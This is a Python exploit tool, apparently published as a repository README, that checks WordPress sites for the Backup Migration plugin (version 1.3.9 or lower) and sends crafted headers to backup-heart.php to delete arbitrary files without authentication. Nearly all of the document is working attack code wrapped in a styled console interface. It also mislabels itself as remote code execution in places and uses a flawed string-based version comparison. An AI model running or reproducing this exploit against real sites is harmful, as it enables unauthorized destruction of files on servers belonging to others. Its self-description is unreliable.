README.md
Rendering markdown...
#!/usr/bin/env python3
"""
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2023-6972 — WordPress Backup Migration ≤ 1.3.9 │
│ Unauthenticated Arbitrary File Deletion (AFD) │
│ │
│ Author : Phantom Hat │
│ CVSS : 9.8 (Critical) │
│ Type : PHP Filter Chain → Arbitrary File Deletion │
│ Plugin : backup-backup (WordPress) │
│ │
│ DISCLAIMER: This tool is provided for authorized security │
│ testing and educational purposes only. Unauthorized access to │
│ computer systems is illegal. The author assumes no liability │
│ for misuse of this software. │
└─────────────────────────────────────────────────────────────────────┘
"""
import argparse
import os
import sys
import requests
from datetime import datetime
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
from rich import box
from rich.align import Align
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.text import Text
# Disable warning about insecure requests (if using HTTPS without verify)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
console = Console(force_terminal=True)
VERBOSE = False
vulnerable_endpoint = "/wp-content/plugins/backup-backup/includes/backup-heart.php"
def timestamp() -> str:
return datetime.now().strftime("%H:%M:%S")
def log_info(msg: str):
if VERBOSE:
console.print(f" [dim cyan]•[/dim cyan] [bold cyan]INFO[/bold cyan] {msg}")
def log_success(msg: str):
console.print(f" [bold bright_green]✓[/bold bright_green] [bold green]SUCCESS[/bold green] {msg}")
def log_warning(msg: str):
console.print(f" [bold bright_yellow]![/bold bright_yellow] [bold yellow]WARNING[/bold yellow] {msg}")
def log_error(msg: str):
console.print(f" [bold bright_red]✗[/bold bright_red] [bold red]ERROR[/bold red] {msg}")
def log_phase(label: str):
if VERBOSE:
console.print()
console.rule(f"[bold bright_magenta]✦ {label} ✦[/bold bright_magenta]", style="bright_magenta", characters="━")
console.print()
def banner():
os.system("clear" if os.name != "nt" else "cls")
info_table = Table(
show_header=False,
box=box.DOUBLE_EDGE,
border_style="bright_magenta",
padding=(0, 3),
expand=False,
)
info_table.add_column("Key", style="bold bright_cyan", no_wrap=True)
info_table.add_column("Value", style="bright_white")
info_table.add_row("Target", "WordPress backup-backup Plugin")
info_table.add_row("Vulnerability", "Unauthenticated RCE")
info_table.add_row("Affected", "≤ 1.3.9")
info_table.add_row("Severity", "[bold bright_red]CRITICAL[/bold bright_red]")
console.print(Panel(
Align.center(info_table),
border_style="bright_magenta",
box=box.DOUBLE,
title="[bold bright_magenta]✦[/bold bright_magenta] [bold white]backup-backup RCE Exploit[/bold white] [bold bright_magenta]✦[/bold bright_magenta]",
subtitle="[dim bright_cyan]Elite Exploitation Interface[/dim bright_cyan]",
padding=(1, 4),
))
console.print()
def construct_payload(file_path: str, file_name: str) -> str:
if file_path.endswith("/"):
file_path = file_path[:-1]
last_directory = file_path.split("/")[-1]
payload = f"./{last_directory}/{file_name}"
return payload
def check(url: str) -> bool:
log_phase("VULNERABILITY CHECK")
target = f"{url}/wp-content/plugins/backup-backup/readme.txt"
log_info(f"Targeting logic endpoint: [underline bright_cyan]{target}[/underline bright_cyan]")
try:
res = requests.get(target, timeout=10, verify=False)
except requests.RequestException as e:
log_error(f"Connection failed: {e}")
return False
if res.status_code != 200:
log_error(f"HTTP {res.status_code} — Could not retrieve readme.txt")
return False
log_success("readme.txt retrieved successfully")
detected_version = None
for line in res.text.splitlines():
if "Stable tag" in line:
detected_version = line.split(":")[1].strip()
break
if not detected_version:
log_warning("Could not extract 'Stable tag' from readme.txt")
return False
if VERBOSE:
info_table = Table(
box=box.DOUBLE,
border_style="bright_magenta",
show_lines=True,
title="[bold white]Vulnerability Assessment[/bold white]"
)
info_table.add_column("Property", style="bold bright_cyan")
info_table.add_column("Value", style="bright_white")
info_table.add_row("Target", url)
info_table.add_row("Detected Version", f"[bold bright_yellow]{detected_version}[/bold bright_yellow]")
status = "[bold bright_green]VULNERABLE 🎯[/bold bright_green]" if detected_version <= "1.3.9" else "[bold bright_red]NOT VULNERABLE 🛡️[/bold bright_red]"
info_table.add_row("Status", status)
console.print()
console.print(info_table)
console.print()
log_info(f"Detected version: {detected_version}")
if detected_version <= "1.3.9":
log_success("Target is [bold bright_green]vulnerable[/bold bright_green] 🎯")
return True
else:
log_error("Target is [bold bright_red]not vulnerable[/bold bright_red] 🛡️")
return False
def exploit(url: str, file_path: str, file_name: str) -> None:
log_phase("EXPLOITATION SEQUENCE")
exploit_url = url + vulnerable_endpoint
log_info(f"Target endpoint: [underline bright_cyan]{exploit_url}[/underline bright_cyan]")
log_info(f"File path: {file_path}")
log_info(f"File name: {file_name}")
payload = construct_payload(file_path, file_name)
log_info(f"Constructed payload identity: [bold bright_yellow]{payload}[/bold bright_yellow]")
exploit_headers = {
"Content-Abs": "/var/www/html/",
"Content-Dir": "/var/www/html/wp-content/plugins/backup-backup/",
"Content-Bmitmp": file_path,
"Content-Identy": payload,
"Content-Backups": file_path,
"Content-Name": file_name,
"Content-It": "0",
"Content-Dbit": "-1",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded"
}
with Progress(
SpinnerColumn("dots12", style="bold bright_magenta"),
TextColumn("[bold bright_cyan]Deploying exploit payload...[/bold bright_cyan]"),
console=console,
transient=True,
) as progress:
progress.add_task("", total=None)
try:
res = requests.post(exploit_url, headers=exploit_headers, timeout=15, verify=False)
except requests.RequestException as e:
log_error(f"Exploit request failed: {e}")
return
if res.status_code == 200:
log_success("Exploit successfully executed (HTTP 200) 🚀")
if VERBOSE:
console.print()
console.print(Panel(
Text(res.text[:500] + ("..." if len(res.text) > 500 else ""), style="bold bright_white"),
title="[bold bright_green]✨ Server Response ✨[/bold bright_green]",
border_style="bright_magenta",
box=box.DOUBLE,
padding=(1, 3)
))
console.print()
else:
log_error(f"Exploit failed with HTTP {res.status_code}")
def main():
global VERBOSE
parser = argparse.ArgumentParser(
description="Backup Backup Plugin RCE — Professional Interface",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parent_parser = argparse.ArgumentParser(add_help=False)
parent_parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
subparsers = parser.add_subparsers(dest="command", required=True)
# check command
check_parser = subparsers.add_parser("check", help="Check if target is vulnerable", parents=[parent_parser])
check_parser.add_argument("-u", "--url", required=True, help="Target URL")
# exploit command
exploit_parser = subparsers.add_parser("exploit", help="Run exploit", parents=[parent_parser])
exploit_parser.add_argument("-u", "--url", required=True, help="Target URL")
exploit_parser.add_argument("-f", "--file-path", required=True, help="File path")
exploit_parser.add_argument("-n", "--file-name", required=True, help="File name")
args = parser.parse_args()
VERBOSE = args.verbose
# Normalize URL
url = args.url.rstrip("/")
banner()
if args.command == "check":
check(url)
elif args.command == "exploit":
exploit(url, args.file_path, args.file_name)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
console.print("\n [bold red]Interrupted by user[/bold red]")
sys.exit(1)